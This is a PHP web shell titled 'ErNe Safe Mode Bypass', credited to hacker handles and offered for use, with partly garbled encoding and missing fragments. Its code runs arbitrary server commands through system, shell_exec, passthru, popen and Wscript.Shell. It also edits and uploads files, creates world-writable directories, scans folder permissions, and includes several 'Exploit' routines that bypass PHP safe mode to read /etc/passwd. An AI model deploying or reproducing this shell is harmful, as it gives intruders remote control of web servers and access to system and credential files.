|
test.php
|
ErNe Safe Mode Bypass For BiyoSecurity.Net |
undefined
undefined
»с ? Ћ URL ” Є ? љВ§В° ¬ "; exit; } if (empty($_POST['erne'] ) ) { }ELSE{ $action = '?action=erne'; echo " >
|
Powered By Erne,Ekin0x, Mohajer22, Ja ( Turkey, Suudi Iraq )
"; echo " |
"; exit; } if (empty($_POST['command'] ) ) { }ELSE{ if (substr(PHP_OS, 0, 3) == 'WIN') { $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe"; $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"; echo "\n"; } $tb = new FORMS; $tb->tableheader(); $tb->tdbody('
| '.$_SERVER['HTTP_HOST'].' |
'.$mohajer.' |
'.$_SERVER['REMOTE_ADDR'].' |
','center','top'); $tb->tdbody("
"); $tb->tablefooter(); $tb->tableheader(); $tb->tdbody('
| command [ system , shell_exec , passthru , Wscript.Shell , exec , popen ] |
','center','top'); $tb->tdbody('
| '); $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); $tb->headerform(array('content'=>'cmd:'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit'))); echo" |
|
|
"; exit; }//end shell if ($_POST['editfile']){ $fp = fopen($_POST['editfile'], "r"); $filearr = file($_POST['editfile']); foreach ($filearr as $string){ $content = $content . $string; } echo "
"; fclose($fp); } if($_POST['savefile']){ $fp = fopen($_POST['savefile'], "w"); $content = stripslashes($content); fwrite($fp, $content); fclose($fp); echo "
"; } if ($doupfile) { echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? " ™ џТ?«і ™в„–В¦!" : " ™ џТ?В« љВ§В° ¬!"; } elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { if (!empty($newdirectory)) { $mkdirs="$dir/$newdirectory"; if (file_exists("$mkdirs")) { echo "can't make dir"; } else { echo (@mkdir("$mkdirs",0777)) ? "ok" : ""; @chmod("$mkdirs",0777); } } } ///////// $pathname=str_replace('\\','/',dirname(__FILE__)); //////// if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir=$_post['dir']; $nowpath = getPath($pathname, $dir); } /////// $dir_writeable = (dir_writeable($nowpath)) ? "m" : "mm"; $phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; $reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | " : ""; $tb = new FORMS; $tb->tableheader(); $tb->tdbody('
| '.$_SERVER['HTTP_HOST'].' |
'.$mohajer.' |
'.$_SERVER['REMOTE_ADDR'].' |
','center','top'); $tb->tdbody("
"); $tb->tablefooter(); $tb->tableheader(); $tb->tdbody('
| Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur |
','center','top'); $tb->tdbody('
| '); $tb->headerform(array('content'=>'Dosya Duzenle weya Olustur:'.$tb->makehidden('dir', getcwd() ).' '.$tb->makeinput('editfile').' '.$tb->makeinput('Edit','Duzenle','','submit'))); $tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'Dosya Yukle:'.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','Ekle','','submit').$tb->makeinput('uploaddir',$dir,'','hidden'))); $tb->headerform(array('content'=>'Dizin Olustur: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','yenidizin','','submit'))); $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); $tb->headerform(array('content'=>'cmd:'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit'))); $tb->tdbody (" |
"); if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { $tb->tableheader(); echo"
| DIR
| First data
| Last data
| Size
| Perm"; $dirs=@opendir($dir); $dir_i = '0'; while ($file=@readdir($dirs)) { $filepath="$dir/$file"; $a=@is_dir($filepath); if($a=="1"){ if($file!=".." && $file!=".") { $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); $dirperm=substr(base_convert(fileperms($filepath),10,8),-4); echo "
\n"; echo "
| $file]\n"; echo "
| $ctime\n"; echo "
| $mtime\n"; echo "
| <dir>\n"; echo "
| $dirperm\n"; echo "\n"; $dir_i++; } else { if($file=="..") { echo "
\n"; echo "
| Up dir\n"; echo "\n"; } } } }// while @closedir($dirs); echo"
|
\n"; echo "
\n"; echo "
| ".$title." [·µ» Ё]\n"; echo " \n"; } function makehidden($name,$value=''){ echo "
\n"; } function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){ $css = ($css == 'input') ? " class=\"input\"" : ""; $input = "
\n"; return $input; } function makeid($name,$value='',$extra='',$type='select',$size='30',$css='input'){ $css = ($css == 'input') ? " class=\"input\"" : ""; $input = "
"; return $input; } function makeimp($name,$value='',$extra='',$type='select',$size='30',$css='input'){ $css = ($css == 'input') ? " class=\"input\"" : ""; $input = "
"; return $input; } function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){ $textarea = "
\n"; return $textarea; } function formfooter($over='',$height=''){ $height = empty($height) ? "" : " height=\"".$height."\""; echo "
\n"; echo "
|
\n"; echo " \n"; echo "
\n"; echo $end = empty($over) ? "" : "\n"; } function makeselect($arg = array()){ if ($arg[multiple]==1) { $multiple = " multiple"; if ($arg[size]>0) { $size = "size=$arg[size]"; } } if ($arg[css]==0) { $css = "class=\"input\""; } $select = "
\n"; return $select; } } $tb->tableheader(); $tb->tdbody('
| Exploit: read file [SQL , id , CURL , copy , ini_restore , imap] & Make file ERORR |
','center','top'); $tb->tdbody('
'); $tb->headerform(array('content'=>'read file :
' .$tb->makeinput('Mohajer22','/etc/passwd' ).$tb->makeinput('',Show,'Mohajer22','submit'))); $tb->headerform(array('content'=>'read file id:
' .$tb->makeid('plugin','cat /etc/passwd' ).$tb->makeinput('',Show,'plugin','submit'))); $tb->headerform(array('content'=>'read file CURL:
' .$tb->makeinput('curl','/etc/passwd' ).$tb->makeinput('',Show,'curl','submit'))); $tb->headerform(array('content'=>'read file copy:
' .$tb->makeinput('copy','/etc/passwd' ).$tb->makeinput('',Show,'copy','submit'))); $tb->headerform(array('content'=>'read file ini_restore:
' .$tb->makeinput('M2','/etc/passwd' ).$tb->makeinput('',Show,'M2','submit'))); $tb->headerform(array('content'=>'read file or dir with imap:
' .$tb->makeimp('switch','/etc/passwd' ).$tb->makeinput('string','/etc/passwd' ).$tb->makeinput('string','Show','','submit'))); $tb->headerform(array('content'=>'Make file ERORR:
' .$tb->makeinput('ER','Mohajer22.php' ).$tb->makeinput('ER','Write','ER','submit'))); // read file SQL ( ) // if(empty($_POST['Mohajer22'])){ } else { echo "read file SQL","
" ; echo "
"; } // ERORR // if(empty($_POST['ER'])){ } else { $ERORR=$_POST['ER']; echo error_log("
", 3,$ERORR); } // id // if ($_POST['plugin'] ){ echo "read file id" ,"
"; echo "
"; break; } // CURL // if(empty($_POST['curl'])){ } else { echo "read file CURL","
" ; echo "
"; } // copy// $u1p=""; $tymczas=""; if(empty($_POST['copy'])){ } else { echo "read file copy" ,"
"; echo "
"; } else { die("
Sorry... File ".htmlspecialchars($u1p)." dosen't exists or you don't have access. "); } } /// ini_restore // if(empty($_POST['M2'])){ } else { echo "read file ini_restore","
"; echo "
"; } // imap // $string = !empty($_POST['string']) ? $_POST['string'] : 0; $switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; if ($string && $switch == "file") { echo "read file imap" ,"
"; echo "
"; } elseif ($string && $switch == "dir") { echo "read dir imap","
" ; echo "
"; } $tb->tdbody (" |
"); // open dir // $tb->tableheader(); $tb->tdbody('
','center','top'); $tb->tdbody('
'); if(empty($_POST['m'])){ echo "
"; } else { $m=$_POST['m']; $spath = $m ; $path = $m ; $method = intval(trim($_POST['method'])); $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file = readdir($handle))) { $full_path = "$path/$file"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0777')) { if (!file_exists('.*')) { $_folders[$i] = $file; $i++; } } } closedir($handle); clearstatcache(); echo 'The folders is 777 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0755')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 755 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0644')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 644 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0750')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 750 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0604')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 604 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0705')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 705 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0606')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 606 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0703')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 703 :
'; foreach ($_folders as $folder) { echo $folder.'
'; } } $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); $_folders[$i] = $file1; $i++; } clearstatcache(); echo 'www.ernealizm.us :
'; foreach ($_folders as $folder) { echo $folder.'
'; } echo 'www.hack-medya.org: '.$i.'
'; $tb->tdbody (" |
"); $tb->tableheader(); $tb->tdbody('
| Exploit: break fucking safe-mode |
','center','top'); $tb->tdbody('
| '); error_reporting(E_WARNING); ini_set("display_errors", 1); echo ""; echo "
"; echo "
Root directory:
"; echo "
"; // break fucking safe-mode ! $root = "/"; if($_POST['root']) $root = $_POST['root']; if (!ini_get('safe_mode')) die("Safe-mode is OFF."); echo "
"; $tb->tdbody (" |
"); ?>
|
|